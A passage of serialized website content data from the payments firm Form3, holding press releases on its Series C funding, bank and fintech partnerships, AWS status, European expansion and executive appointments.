smart – uniquely possible with our cloud native technology and an exciting new phase to come.” ",[],"pull_quote$a002f9ba-0b41-4f72-8ec7-8e57a96ee088",{"variation":437,"version":438,"items":1399,"primary":1400,"id":1412,"slice_type":468,"slice_label":5},[],{"body":1401},[1402],{"type":25,"text":1403,"spans":1404},"Martin Runow, Global Head of Payments, FX and Digital, Barclays Corporate Banking commented \"Our continued close collaboration with Form3 has allowed us to add a SEPA Credit transfer service alongside our SEPA Instant proposition which we jointly launched in 2020. This is another key step in enabling Payment Service Providers to offer comprehensive pan-European payment and receipt solutions to their underlying customers.\"",[1405,1407,1410],{"start":398,"end":1406,"type":593},82,{"start":1408,"end":1409,"type":593},91,93,{"start":1409,"end":1411,"type":765},425,"rich_text$b2f7ad0b-cf04-43ec-aef0-1d921b0e2554",{"id":1414,"uid":1415,"type":406,"data":1416},"alw4AREAAC4AT7-7","form3-raises-160-million",{"title":1417,"excerpt":1418,"card_image":1419,"published_date":1425,"reading_time":905,"tag":815,"dek":1426,"featured_image":1427,"about_form3":1428,"client_about_heading":5,"client_about_body":1429,"author_name":5,"author_title":5,"author_photo":1430,"author_bio":1431,"author_linkedin":1432,"slices":1433,"meta_title":1417,"meta_description":1418},"Form3 Announces a $160 million Series C funding round led by Goldman Sachs Asset Management","Form3, the leading platform payment technology provider, has today announced its Series C investment funding of $160 million. The fundraising was led by the Growth Equity business within Goldman Sachs Asset Management (Goldman Sachs) and included participation from existing investors. This brings the company’s total fundraising to $220 million",{"dimensions":1420,"alt":1421,"copyright":5,"url":1422,"id":1423,"edit":1424},{"width":412,"height":412},"GoldmanSachs-Resource","\u002F_prismic-media\u002F93daeedb55948826-WHWznA0PO7_tU5zi_GoldmanSachs-Resource.png","WHWznA0PO7_tU5zi",{"x":398,"y":398,"zoom":399,"background":400},"2021-09-16","The fundraising was led by the Growth Equity business within Goldman Sachs Asset Management (Goldman Sachs) and included participation from existing investors. This brings the company’s total fundraising to $220 million.",{},[],[],{},[],{"link_type":434},[1434,1445,1459,1467,1488],{"variation":437,"version":438,"items":1435,"primary":1436,"id":1444,"slice_type":468,"slice_label":5},[],{"body":1437},[1438],{"type":25,"text":1439,"spans":1440},"Watch: https:\u002F\u002Fvimeo.com\u002F604705425",[1441],{"start":1130,"end":1131,"type":489,"data":1442},{"link_type":491,"url":1443},"https:\u002F\u002Fvimeo.com\u002F604705425","rich_text$3d37bb42-5e29-47e3-a570-caa8657192d3",{"variation":437,"version":438,"items":1446,"primary":1447,"id":1458,"slice_type":468,"slice_label":5},[],{"body":1448},[1449,1452],{"type":988,"text":1450,"spans":1451,"direction":445},"Form3 welcomes new shareholder Goldman Sachs",[],{"type":25,"text":1453,"spans":1454,"direction":445},"This new investment goes alongside Form3's existing investors Lloyds Banking Group, Nationwide Building Society, Barclays, Mastercard, 83North and Draper Esprit. Form3 has seen unprecedented growth since launching its cloud-native payment technology platform in 2017 with a mission to fundamentally change the way that technology in this key industry operates. \n\nMichael Mueller, CEO at Form3, commented: “More and more financial institutions are placing mission critical processes onto a platform. Cloud-native technology is now proven at an industrial scale and confidence is high and growing. This announcement marks the beginning of a global roll out for Form3, and the funding required to tackle the next big challenges in payments; how should payments become smart – uniquely possible with our cloud native technology and an exciting new phase to come.\"",[1455],{"start":1456,"end":1457,"type":593},363,393,"rich_text$ec2e9ed5-4fab-42ef-9cf0-8658c5bf1f91",{"variation":437,"version":438,"items":1460,"primary":1461,"id":1466,"slice_type":583,"slice_label":5},[],{"quote":1462,"attribution_name":921,"attribution_role":922},[1463],{"type":25,"text":1464,"spans":1465},"Cloud-native technology is now proven at an industrial scale and confidence is high and growing. ",[],"pull_quote$6ae57dc9-46db-4926-9726-6f307b2e2950",{"variation":437,"version":438,"items":1468,"primary":1469,"id":1487,"slice_type":468,"slice_label":5},[],{"body":1470},[1471,1474,1477,1482],{"type":988,"text":1472,"spans":1473,"direction":445},"Form3 is expected to move into new markets including the USA where it is in advanced conversations with a number of banks.",[],{"type":25,"text":1475,"spans":1476,"direction":445},"An ambitious strategic roadmap across geographies and within its platform functionality will further propel Form3 into pole position as a leading global player in platform payment technology. ",[],{"type":25,"text":1478,"spans":1479,"direction":445},"James Hayward, Managing Director in the Growth Equity Business within Goldman Sachs Asset Management, commented: “Financial institutions (FI’s) are increasingly turning to modern, cloud-based technologies in order to handle growing payment volumes efficiently and in real-time. We are delighted to be leading this investment round and look forward to working together with Form3 and other shareholders to help realise their ambitious global roadmap and strategic growth plan.” ",[1480],{"start":398,"end":1481,"type":593},101,{"type":25,"text":1483,"spans":1484,"direction":445},"Vinoth Jayakumar, Partner at Draper Esprit said; “Form3 continues to prove its ability to own and drive a pioneering, innovative narrative in cloud native payments for financial institutions. We are excited to double down on our support for the Form3 team and welcome Goldman Sachs and 83North to the journey.”",[1485],{"start":398,"end":1486,"type":593},42,"rich_text$59deb3ed-3fa6-45b3-96f1-713ae72ed912",{"variation":437,"version":438,"items":1489,"primary":1490,"id":1495,"slice_type":583,"slice_label":5},[],{"quote":1491,"attribution_name":921,"attribution_role":922},[1492],{"type":25,"text":1493,"spans":1494},"This announcement marks the beginning of a global roll out for Form3, and the funding required to tackle the next big challenges in payments;  how should payments become smart.",[],"pull_quote$4dc3e178-7152-49d5-ba40-242c89e162e9",{"id":1497,"uid":1498,"type":406,"data":1499},"alw33xEAAC0AT78H","soldo-partnership",{"title":1500,"excerpt":1501,"card_image":1502,"published_date":1508,"reading_time":418,"tag":55,"dek":1509,"featured_image":1510,"about_form3":1511,"client_about_heading":5,"client_about_body":1512,"author_name":5,"author_title":5,"author_photo":1513,"author_bio":1514,"author_linkedin":1515,"slices":1516,"meta_title":1500,"meta_description":1570},"Soldo Selects Form3 for SEPA Capabilities","The partnership will enable leading fintech to expand its payment technology in 2023.",{"dimensions":1503,"alt":1504,"copyright":5,"url":1505,"id":1506,"edit":1507},{"width":412,"height":412},"soldo","\u002F_prismic-media\u002F534d03b1d13cde56-jRBWk055hkdcryx7_Soldo-Resource.png","jRBWk055hkdcryx7",{"x":398,"y":398,"zoom":399,"background":400},"2023-02-15","The partnership will enable leading fintech to expand its payment technology in 2023",{},[],[],{},[],{"link_type":434},[1517,1543,1551],{"variation":437,"version":438,"items":1518,"primary":1519,"id":1542,"slice_type":468,"slice_label":5},[],{"body":1520},[1521,1524,1527,1530,1533,1536,1539],{"type":746,"text":1522,"spans":1523},"Boosting European customer growth",[],{"type":25,"text":1525,"spans":1526},"Soldo, the London-based fintech creating the next generation of payments and expense management solutions, has today selected Form3, the cloud-native account-to-account platform, to provide SEPA Credit Transfer and Instant connectivity. ",[],{"type":25,"text":1528,"spans":1529},"Soldo’s upgraded SEPA capabilities will allow it to update its payment technology to boost customer growth as its business expands, taking advantage of SEPA Instant adoption mandate in 2023. ",[],{"type":25,"text":1531,"spans":1532},"Julian Colls, Form3’s Chief Customer Officer, said: “We are excited to be partnering with Soldo to help realise their exciting ambitions in Europe as they benefit from the flexibility and resilience of Form3’s fully managed, cloud native, account to account technology platform. Soldo’s customers will now also experience true real time payments previously only available to direct scheme participants.”",[],{"type":25,"text":1534,"spans":1535},"The new partnership sees Form3 providing Soldo with direct technical access to the SEPA clearing system via its cloud-based, single payment API account-to-account platform, using a direct non-settling participant model provided in collaboration with Barclays Bank. ",[],{"type":25,"text":1537,"spans":1538},"Carlo Gualandri, Soldo’s CEO, commented: “Secure, reliable and scalable real-time financial interactions are the foundation of everything we do. So, we're delighted to partner with Form3 to provide bank-strength connections for instant payments in the UK and across the SEPA region. This is another example of our deep investment in the best infrastructure for our customers, as they look for new, digital ways to manage their money.”",[],{"type":25,"text":1540,"spans":1541},"Soldo’s new SEPA offerings, underpinned by Form3’s cloud technology, are now live for customers. ",[],"rich_text$ff4a6e5b-c734-4279-a1f0-edbdd68d27fe",{"variation":437,"version":438,"items":1544,"primary":1545,"id":1550,"slice_type":583,"slice_label":5},[],{"quote":1546,"attribution_name":5,"attribution_role":5},[1547],{"type":25,"text":1548,"spans":1549},"Soldo’s customers will now also experience true real time payments previously only available to direct scheme participants.",[],"pull_quote$6b8e5625-ea4a-4f18-94f2-1de4a205cff7",{"variation":437,"version":438,"items":1552,"primary":1553,"id":1569,"slice_type":468,"slice_label":5},[],{"body":1554},[1555,1557,1563,1566],{"type":474,"text":475,"spans":1556},[],{"type":25,"text":1558,"spans":1559},"Form3 is the account-to-account platform. Founded In 2016, Form3 set out to revolutionise the world of payment processing and disrupt the traditional payment infrastructure model, with an always on, cloud-native, Payments-as-a-Service platform. Today, Form3 is trusted by some of UK and Europe’s biggest Tier1 banks and fastest-growing fintechs to handle their critical payments architecture. Form3 has been awarded Payments Innovation of the Year 2022 by Payments Awards, Most Innovative Mobile or Financial Service Payments Solution 2022 by PAY360 Awards, Payments Innovation of the Year 2022 by FSTech Awards and was shortlisted as Diversity Champion of the Year 2022 run by British Diversity Awards. \n",[1560],{"start":1561,"end":1562,"type":593},703,705,{"type":474,"text":1564,"spans":1565},"About Soldo ",[],{"type":25,"text":1567,"spans":1568},"Soldo is the European spend management platform that combines smart company cards, issued by Mastercard®, with comprehensive software. More than 30,000 companies, from small businesses to multi-national corporations in more than 31 countries, use Soldo to track and control spending. Headquartered in the UK, with additional offices in Dublin, Milan, and Rome, Soldo empowers customers including Mercedes Benz, GetYourGuide, Bauli, and Brooks Running to spend company money on travel and entertainment, advertising, purchases, software subscriptions, e-commerce, and more. Financial decision-makers can control every cost with custom budgets and real-time tracking of transactions.",[],"rich_text$a79499f5-03f4-4041-83d7-59a5de3f77d3","Soldo, the London-based fintech creating the next generation of payments and expense management solutions, has today selected Form3, the cloud-native account-to-account platform, to provide SEPA Credit Transfer and Instant connectivity.",{"id":1572,"uid":1573,"type":406,"data":1574},"alw4DREAACkAT8AH","form3-aws-competency-status",{"title":1575,"excerpt":1576,"card_image":1577,"published_date":1583,"reading_time":1130,"tag":55,"dek":1584,"featured_image":1585,"about_form3":1586,"client_about_heading":5,"client_about_body":1587,"author_name":5,"author_title":5,"author_photo":1588,"author_bio":1589,"author_linkedin":1590,"slices":1591,"meta_title":1575,"meta_description":1576},"Form3 achieves Advanced Technology Partner in the Amazon Web Services Partner Network and AWS Financial Services Competency status","Form3, a leading cloud-native, payment technology provider has announced that they have earned Advanced Technology Partner status in the Amazon Web Services (AWS) Partner Network (APN) as well as AWS Financial Services Competency status.",{"dimensions":1578,"alt":1579,"copyright":5,"url":1580,"id":1581,"edit":1582},{"width":412,"height":412},"AWS-Resource","\u002F_prismic-media\u002F8222a9ccf3f9641d-pHj7_jhLdXz0M__6_AWS-Resource.png","pHj7_jhLdXz0M__6",{"x":398,"y":398,"zoom":399,"background":400},"2020-04-30","To qualify for the Advanced Technology Partner status, APN Partners must meet thorough requirements that demonstrate the scale of their AWS expertise, capabilities, and engagement in AWS. Founded in 2016 by four banking and technology leaders, Form3 has grown to become a leading cloud-based, critical payment infrastructure technology provider managing the complete, end to end payment journey for tier1 banks and regulated fintechs across the UK and Europe.",{},[],[],{},[],{"link_type":434},[1592,1602,1613],{"variation":437,"version":438,"items":1593,"primary":1594,"id":1601,"slice_type":583,"slice_label":5},[],{"quote":1595,"attribution_name":1599,"attribution_role":1600},[1596],{"type":25,"text":1597,"spans":1598}," “AWS enables Form3 to innovate faster at lower cost while having complete flexibility. Attaining APN Advanced Technology Partner and AWS Financial Services Competency status is a significant milestone and a reflection of Form3’s dedication in delivering excellence to customers through our cloud-native payments platform. We are delighted to join an elite community of APN members and continue to deliver services that our customers love to use.”",[],"Steve Cook","Strategic Advisor","pull_quote$0723f964-6c5d-469c-ab2a-f12c04bbc2cd",{"variation":437,"version":438,"items":1603,"primary":1604,"id":1612,"slice_type":468,"slice_label":5},[],{"body":1605},[1606,1609],{"type":25,"text":1607,"spans":1608},"AWS has a stringent technical certification and validation process requiring a wide range of enterprise references to be demonstrated and competencies certified from Dev Ops to Operations Management, Information Security and Incident handling. ",[],{"type":25,"text":1610,"spans":1611},"Form3 is regularly ranked in the Top European Fintechs to watch by Sifted and Fintech 50 and named as the Best Digital Innovation by Bobsguide 2019 and runner up in British Bank Awards for Best Technology Partner 2020.",[],"rich_text$c9e7265d-c21b-49f7-b19c-e3fa9b785505",{"variation":437,"version":438,"items":1614,"primary":1615,"id":1620,"slice_type":583,"slice_label":5},[],{"quote":1616,"attribution_name":921,"attribution_role":922},[1617],{"type":25,"text":1618,"spans":1619},"“Financial institutions need the ability to deliver real-time payment processing at pace in order to thrive in today’s digital economy. Migrating critical payments infrastructure to a fully managed service in the cloud is significant and we use only proven technology, people, and services to not only get the job done but future proof at every step, ensuring highly secure, payment processing, clearing, settlement and reconciliation in milliseconds. We started working with AWS at the start of our business in 2016 and we’re delighted to continue growing our relationship with them.”",[],"pull_quote$899466de-381f-447f-9fd6-39bfdc0d12bb",{"id":1622,"uid":1623,"type":406,"data":1624},"alw4HREAACkAT8Bl","ebury-form3-go-live",{"title":1625,"excerpt":1626,"card_image":1627,"published_date":1632,"reading_time":1633,"tag":419,"dek":1634,"featured_image":1635,"about_form3":1636,"client_about_heading":5,"client_about_body":1637,"author_name":5,"author_title":5,"author_photo":1638,"author_bio":1639,"author_linkedin":1640,"slices":1641,"meta_title":1625,"meta_description":1626},"Ebury & Form3 go live with new UK real-time payments service","Form3, the cloud technology provider of Payments as a Service processing for banks and regulated fintechs, today announced that Ebury, one of the fastest growing fintechs for corporate global transaction services is now live with its real-time service on UK Faster Payments.",{"dimensions":1628,"alt":5,"copyright":5,"url":1629,"id":1630,"edit":1631},{"width":412,"height":412},"\u002F_prismic-media\u002F066488c3e6252beb-wdOgLMlgPafQDM1f_ebury-Resource.png","wdOgLMlgPafQDM1f",{"x":398,"y":398,"zoom":399,"background":400},"2018-03-18",8,"Form3, the cloud technology provider of Payments as a Service processing for banks and regulated fintechs, today announced that Ebury, one of the fastest growing fintechs for corporate global transaction services is now live with its real-time service on UK Faster Payments. The successful delivery of this new service is an “industry-first” under a new agency bank sponsored model. It gives Ebury’s customers access to a truly real-time payments experience, enabling them to move money between UK accounts in under ten seconds by connecting Ebury directly to the national payments infrastructure. Ebury is the first ever nonbank participant to join the Faster Payments Scheme. By providing Ebury with its own dedicated and portable sort codes, the Form3 payments service ensures that every customer now has its own addressable account number (domestic and IBAN). This not only improves transparency for Ebury and its customers but also accelerates the movement of funds (Debits and Credits) in real-time. Outbound payments to suppliers can now be paid instantly and inbound payments for the initiation of a foreign exchange transactions will be executed immediately. This transformational payments capability is underpinned by an agency banking service sponsored by Barclays. The result is significantly improved customer satisfaction, working capital efficiency and improved management of cash flows for Ebury. Form3’s managed technology service uses native-cloud technology, APIs and microservices to deliver a real-time payments processing platform and was recently recognised by the global research and consulting firm Frost and Sullivan for Customer Value Leadership. Juan Lobato, CEO and co- founder of Ebury, says: “Ebury is committed to providing exceptional customer service. We are therefore delighted to be partnering with Form3 whose innovative payments technology allows our customers to experience real-time UK Faster Payments. There is real momentum from regulators to allow non banks to access capabilities that would previously be limited to banks. Being able to deeply integrate with the  Faster Payments Scheme means we can innovate on services and products for our customers in a very direct way. I am extremely proud that Ebury is now one of only a handful of financial institutions in the UK able to provide its customers with truly real-time services 24x7”. \nDan Roberts, Head of Transaction Banking Products & Services at Barclays, states “Barclays has a long history of firsts in delivering ground-breaking payment services to market and we are committed to helping our clients deliver the best possible end-user experience to their customers. Competition in the market is essential for the growth of the UK financial services sector and the collaboration with Form3 and Ebury demonstrates how we have worked together to successfully land this innovative real time payments service that will benefit Ebury and its customers.”",{},[],[],{},[],{"link_type":434},[1642,1650],{"variation":437,"version":438,"items":1643,"primary":1644,"id":1649,"slice_type":583,"slice_label":5},[],{"quote":1645,"attribution_name":921,"attribution_role":922},[1646],{"type":25,"text":1647,"spans":1648},"\"We are delighted to be working with Ebury to provide them with the best possible access to the UK national payments infrastructure, enabling them to deliver powerful business propositions that truly benefit their customers. For too long, access to real-time payments has been limited to only a few banks. Form3’s mission is to simplify payment back office processing and in doing so ensure that direct access to real-time payments is economically viable for Banks or PSPs of all sizes. Opening up this new sponsored access route was only possible through strong collaboration between Ebury, Barclays and the Faster Payments Scheme and we are very grateful for the support that we have received from our great partners\"",[],"pull_quote$8da9fd4f-982e-4300-8b4b-7a3cc71c8406",{"variation":437,"version":438,"items":1651,"primary":1652,"id":1659,"slice_type":468,"slice_label":5},[],{"body":1653},[1654],{"type":25,"text":1655,"spans":1656},"Craig Tillotson, Chief Executive Officer of the Faster Payments Scheme: said “We are delighted to recognise Ebury as the first ever financial institution joining the Faster Payments Scheme under this new agency bank sponsored model. This represents a historic milestone in the evolution of our open access agenda and allows more financial institutions and PSP’s to directly participate in the scheme, fuelling competition and innovation.”",[1657],{"start":398,"end":1658,"type":593},71,"rich_text$8dec10b5-1398-4b58-8163-0c5f059c2d2e",{"id":1661,"uid":1662,"type":406,"data":1663},"alw4EREAACkAT8Aa","form3-bonnie-mitchell-joins",{"title":1664,"excerpt":1665,"card_image":1666,"published_date":1669,"reading_time":643,"tag":1181,"dek":1670,"featured_image":1671,"about_form3":1672,"client_about_heading":5,"client_about_body":1673,"author_name":5,"author_title":5,"author_photo":1674,"author_bio":1675,"author_linkedin":1676,"slices":1677,"meta_title":1664,"meta_description":1665},"Form3 appoints new Chief Financial Officer to support its strategic growth plans","Form3, the cloud-native, payments as a service (PAAS) technology provider has announced Bonnie Mitchell as its new Chief Financial Officer (CFO)",{"dimensions":1667,"alt":413,"copyright":5,"url":414,"id":415,"edit":1668},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2019-07-15","Bonnie is a chartered accountant with a 20-year track record of working with incubator and scale up organisations both nationally and internationally. In her role as CFO, Bonnie will have primary responsibility for financial planning, risk management and financial reporting for the global organisation, supporting its next phase of growth as it expands across Europe and beyond. As a member of the leadership team at Form3, Bonnie will contribute to the performance management and strategic decision making of the wider business, reporting to the UK Executive team. Bonnie began her career at EY Banking Audit and Assurance and RBS Treasury before moving to a new venture with a high growth retail brand, pre-revenue in 2016. The venture was successfully launched in both UK and US retail markets. On the back of its success, Bonnie and its founders set up a US based FMCG brand incubator, Green Park Brands Inc.",{},[],[],{},[],{"link_type":434},[1678,1686],{"variation":437,"version":438,"items":1679,"primary":1680,"id":1685,"slice_type":583,"slice_label":5},[],{"quote":1681,"attribution_name":921,"attribution_role":922},[1682],{"type":25,"text":1683,"spans":1684,"direction":445}," “I’m delighted to welcome Bonnie to Form3. Her appointment is critical to the ongoing success of the business as we expand into new markets and take Form3 into the next stage of growth.”",[],"pull_quote$7f7ce4b5-4edf-4535-9946-3a97ff3c47d9",{"variation":437,"version":438,"items":1687,"primary":1688,"id":1693,"slice_type":583,"slice_label":5},[],{"quote":1689,"attribution_name":5,"attribution_role":5},[1690],{"type":25,"text":1691,"spans":1692,"direction":445}," “Form3 is a fast-growth business with a strong proposition and backing which has big plans in the coming months. It is a really exciting time to join the team and help shape the next phase of its development.”",[],"pull_quote$5da42098-d851-4681-9ec8-1ea83f4b6ca6",{"id":1695,"uid":1696,"type":406,"data":1697},"alw4DBEAAC4AT7_6","form3-lhv-europe",{"title":1698,"excerpt":1699,"card_image":1700,"published_date":1706,"reading_time":5,"tag":55,"dek":1707,"featured_image":1708,"about_form3":1709,"client_about_heading":5,"client_about_body":1710,"author_name":5,"author_title":5,"author_photo":1711,"author_bio":1712,"author_linkedin":1713,"slices":1714,"meta_title":1698,"meta_description":1699},"LHV & Form3 strengthen their strategic partnership to further democratise access to real-time payments in the UK and Europe","LHV, the financial and payment services provider, is pleased to announce an extended partnership (the ‘Partnership’) with Form3, the leading provider of real-time, cloud native payment technology. The Partnership delivers a single API-based payments platform, which gives fintechs and financial institutions 24 x7 access to instant payments in both GBP and Euro via the UK Faster Payments and the SEPA Instant Schemes.",{"dimensions":1701,"alt":1702,"copyright":5,"url":1703,"id":1704,"edit":1705},{"width":412,"height":412},"LHV-Resource","\u002F_prismic-media\u002F816a6a0ac5ac8dbf-tZgISyo4_nV1m0vE_LHV-Resource.png","tZgISyo4_nV1m0vE",{"x":398,"y":398,"zoom":399,"background":400},"2020-05-14","LHV, the financial and payment services provider, is pleased to announce an extended partnership (the ‘Partnership’) with Form3, the leading provider of real-time, cloud native payment technology. The Partnership delivers a single API-based payments platform, which gives fintechs and financial institutions 24 x7 access to instant payments in both GBP and Euro via the UK Faster Payments and the SEPA Instant Schemes.Form3, an award winning, cloud based ‘payment Infrastructure as-a Service’ company, will provide its Customers with access to both instant Euro and GBP payments through the joint platform initiative.The Partnership will see LHV become Form3’s first Payment Service Provider able to offer both realtime services through their API platform. The mutual proposition will also include access to existing banking services provided by LHV such as safeguarding funds, Virtual IBANs, multicurrency bank accounts and currency exchange plus a host of others. The Partnership will enhance LHV’s existing go-to-market strategy and bring new names to LHV’s already popular direct market offering. LHV currently provides over 120 companies with immediate Euro and Pound payments using its own proprietary API ‘LHV Connect’. Andres Kitter, Head of LHV’s UK Operations, said, “We have enjoyed a close working relationship with Form3 for many years and we view this further, mutually beneficial, partnership as the next logical step to extend our reach. This partnership will give Form3’s clients access to LHV’s unique service proposition and is thereby expected to increase the existing deal flow. “We’ve always strived to deliver robust and cutting-edge services that enable businesses to function as smoothly and efficiently as possible. Providing them with a single platform from which both SEPA and Faster Payments can be accessed, will do just that. LHV’s own existing full-service proposition has been received with much enthusiasm in the fintech space and our easy to use API framework is used by a growing number of companies. ”",{},[],[],{},[],{"link_type":434},[1715],{"variation":437,"version":438,"items":1716,"primary":1717,"id":1722,"slice_type":583,"slice_label":5},[],{"quote":1718,"attribution_name":1093,"attribution_role":1094},[1719],{"type":25,"text":1720,"spans":1721},"“Since our founding days in 2016, Form3’s purpose has been to democratise payments for the global financial community, making it easier, faster and more cost effective to move money in real-time. Our partnership with LHV gives Financial Institutions the best of both worlds – real-time payments processing to the universe of payment schemes and LHV’s leading banking services, all accessible from a single API integration.",[],"pull_quote$a82c6ac8-7cca-4933-aa7f-9dd8b49b470d",{"id":1724,"uid":1725,"type":406,"data":1726},"alw4FBEAACcAT8Ax","form3-european-expansion",{"title":1727,"excerpt":1728,"card_image":1729,"published_date":1732,"reading_time":643,"tag":379,"dek":1733,"featured_image":1734,"about_form3":1735,"client_about_heading":5,"client_about_body":1736,"author_name":5,"author_title":5,"author_photo":1737,"author_bio":1738,"author_linkedin":1739,"slices":1740,"meta_title":1727,"meta_description":1728},"Form3 announces its expansion plans across Europe","Form3, the Cloud-native payments platform provider has revealed its ambitious growth plans for expansion across Europe and a new dedicated team based in Amsterdam.",{"dimensions":1730,"alt":413,"copyright":5,"url":414,"id":415,"edit":1731},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2019-06-04","Founded in 2016, Form3 has led the UK digital payments marketplace with its cloud-native, API payments platform enabling financial institutions and regulated fintechs access to real-time, ACH and Direct Debit payments in the UK and Europe. Form3 who are already serving several large customers in Europe is set to grow by approx. 300% this year and has already expanded its workforce by 50% since 2018.",{},[],[],{},[],{"link_type":434},[1741,1749],{"variation":437,"version":438,"items":1742,"primary":1743,"id":1748,"slice_type":583,"slice_label":5},[],{"quote":1744,"attribution_name":921,"attribution_role":922},[1745],{"type":25,"text":1746,"spans":1747}," “The need for better access to scalable and efficient payments technology is a global challenge. From the outset, our mission has been to make payments faster, easier and more cost effective for the global financial community and in doing so, ensuring financial inclusion is possible for everyone. Our expansion across Europe means we can better serve our customers, many of whom are multi-national financial institutions wanting both domestic and pan-European payment services and solutions at low cost.”",[],"pull_quote$781e6dc0-704c-4f1a-a837-b2900e3492c3",{"variation":437,"version":438,"items":1750,"primary":1751,"id":1759,"slice_type":468,"slice_label":5},[],{"body":1752},[1753,1756],{"type":25,"text":1754,"spans":1755},"Today’s announcement also sees a new dedicated team based in Amsterdam to support Form3’s European growth and address the strong demand from customers and prospects looking for a single API platform approach to payments. ",[],{"type":25,"text":1757,"spans":1758},"Alex Schoonkind, Head of Customer Success & Growth Europe commented, “It is an exciting time to be at Form3 as we embark on our strategic expansion plans in Europe. The team is ready to build on Form3’s growing customer base which includes European leaders such as N26, Holvi and LHV amongst others.”",[],"rich_text$9816f855-0734-4789-8acf-d29e2ef3d554",{"id":1761,"uid":1762,"type":406,"data":1763},"alw4ChEAAC4AT7_w","form3-lloyds-strategic-partnership",{"title":1764,"excerpt":1765,"card_image":1766,"published_date":1772,"reading_time":5,"tag":55,"dek":5,"featured_image":1773,"about_form3":1774,"client_about_heading":5,"client_about_body":1775,"author_name":5,"author_title":5,"author_photo":1776,"author_bio":1777,"author_linkedin":1778,"slices":1779,"meta_title":1764,"meta_description":1785},"Lloyds Banking Group enters strategic partnership with Form3","Lloyds Banking Group (Lloyds) has today announced a strategic partnership with Form3, a cloud-native payments technology fintech, to accelerate its transformation and enhance the digital experience for customers.",{"dimensions":1767,"alt":1768,"copyright":5,"url":1769,"id":1770,"edit":1771},{"width":412,"height":412},"Lloyds","\u002F_prismic-media\u002F54c2b418dfdc5236-7p2kqS0adepQuVZk_Lloyds-Resource.png","7p2kqS0adepQuVZk",{"x":398,"y":398,"zoom":399,"background":400},"2020-07-22",{},[],[],{},[],{"link_type":434},[1780],{"variation":437,"version":438,"items":1781,"primary":1782,"id":1807,"slice_type":468,"slice_label":5},[],{"body":1783},[1784,1787,1790,1793,1798,1804],{"type":988,"text":1785,"spans":1786,"direction":445},"Lloyds Banking Group has today announced a strategic partnership with Form3, a cloud-native payments technology fintech, to accelerate its transformation and enhance the digital experience for customers.",[],{"type":25,"text":1788,"spans":1789,"direction":445},"Founded in 2016, Form3 is a leading payment technology fintech that focuses on simplifying payments architecture capabilities in a faster and more efficient manner, while providing support for the industry New Payments Architecture (NPA) initiative through its cloud-native Payments-as-a-Service for UK and European banks and fintechs.",[],{"type":25,"text":1791,"spans":1792,"direction":445},"The strategic partnership will enable Lloyds to investigate and develop a cloud-native Payments-as-a-Service platform which has the potential to significantly improve the Group’s payment processes, making them more efficient. The partnership with Form3 will aim to simplify Lloyds’ payments capabilities, aiming to create the basis for Lloyds’ response to the industry NPA initiative and provide support for enhanced data and new overlay services.",[],{"type":25,"text":1794,"spans":1795,"direction":445},"Otto Benz, Director, Payments Technical Services at Lloyds Banking Group said, “Simplifying payments architecture while enhancing security and performance are critical to our digitisation of the Group. The potential of the cloud in payments is enormous and is firmly at the forefront of our strategy. We are committed to working with the most innovative technology providers, including Form3, to deliver a range of solutions that push the boundaries of what’s possible while reducing risk and providing customers with an improved digital experience.\"",[1796],{"start":398,"end":1797,"type":593},72,{"type":25,"text":1799,"spans":1800,"direction":445},"“We believe this is an opportunity to support Lloyds’ transformation using our rapidly evolving technology. The partnership is breaking new ground in collaboration by enabling Lloyds to utilise best in class software built to harness the unique properties of the cloud.” said Michael Mueller, Chief Executive Officer at Form3.",[1801],{"start":1802,"end":1803,"type":593},276,326,{"type":25,"text":1805,"spans":1806,"direction":445},"Lloyds will continue to look at further investment opportunities to help accelerate the delivery of its ambitious transformation programme. This year the Group has announced partnerships with Google Cloud and Microsoft, including the development of Microsoft Managed Desktop, as part of its commitment to transform for success in a digital world.",[],"rich_text$31db569b-4365-47ce-88cb-8b9f0a89237e",{"id":1809,"uid":1810,"type":406,"data":1811},"alw3yxEAACsAT76g","form3-appoints-matt-tuck-as-its-new-chief-commercial-officer",{"title":1812,"excerpt":1813,"card_image":1814,"published_date":1817,"reading_time":506,"tag":1181,"dek":1818,"featured_image":1819,"about_form3":1820,"client_about_heading":5,"client_about_body":1821,"author_name":5,"author_title":5,"author_photo":1822,"author_bio":1823,"author_linkedin":1824,"slices":1825,"meta_title":1812,"meta_description":1813},"Form3 Appoints Matt Tuck as its New Chief Commercial Officer","Form3, the cloud-native account-to-account platform, today announces it has strengthened its Executive Management Team by appointing Matt Tuck as its new Chief Commercial Officer, joining on 11 September. Matt’s focus will be to support new and existing customers’ payment technology needs to enable their market growth and to continue delivering service excellence.",{"dimensions":1815,"alt":413,"copyright":5,"url":414,"id":415,"edit":1816},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2023-09-06","Matt’s new role will support UK, European and US growth for Form3 and its customers",{},[],[],{},[],{"link_type":434},[1826,1846],{"variation":437,"version":438,"items":1827,"primary":1828,"id":1845,"slice_type":468,"slice_label":5},[],{"body":1829},[1830,1833,1836,1839,1842],{"type":25,"text":1831,"spans":1832},"Form3, the cloud-native account-to-account platform, today announces it has strengthened its Executive Management Team by appointing Matt Tuck as its new Chief Commercial Officer, joining on 11 September. Matt’s focus will be to support new and existing customers’ payment technology needs to enable their market growth and to continue delivering service excellence. ",[],{"type":25,"text":1834,"spans":1835},"Matt joins Form3 to lead on all customer relations, in addition to focusing on Form3’s expansion of its customer base across key markets including the UK, Europe and the US. He will work with leading banks and financial institutions to offer seamless payment technology and the ongoing delivery of the full range of products available on Form3’s platform that provide best-in-class cloud payment technology. ",[],{"type":25,"text":1837,"spans":1838},"Matt has over 35 years’ experience in financial services products, sales, operations and payment solutions. He joins Form3 from NatWest, where he was Head of Product, Service and Operations, delivering for all commercial customers, including financial institutions. Previous roles held by Matt included Head of Global Corporate Banking at Barclays and Head of Cash Management at Deutsche Bank, working with financial institutions in Northern Europe. ",[],{"type":25,"text":1840,"spans":1841},"Commenting on his new role, Matt says: “I’m excited to be joining Form3 as we continue to make rapid progress in cloud payment technology. The market-leading technology enables us and our customers to grow at scale in the UK, Europe and the US. I am very much looking forward to working at Form3 and with our customers.”",[],{"type":25,"text":1843,"spans":1844},"Michael Mueller, Form3’s CEO, added: “Matt has a proven track record in supporting leading financial services customers on their growth journey. He knows exactly what financial institutions need to stay ahead of the competition. I am confident he can help Form3 to provide our customers with value-added services for the next stage in transforming their payments technology. Welcome on-board 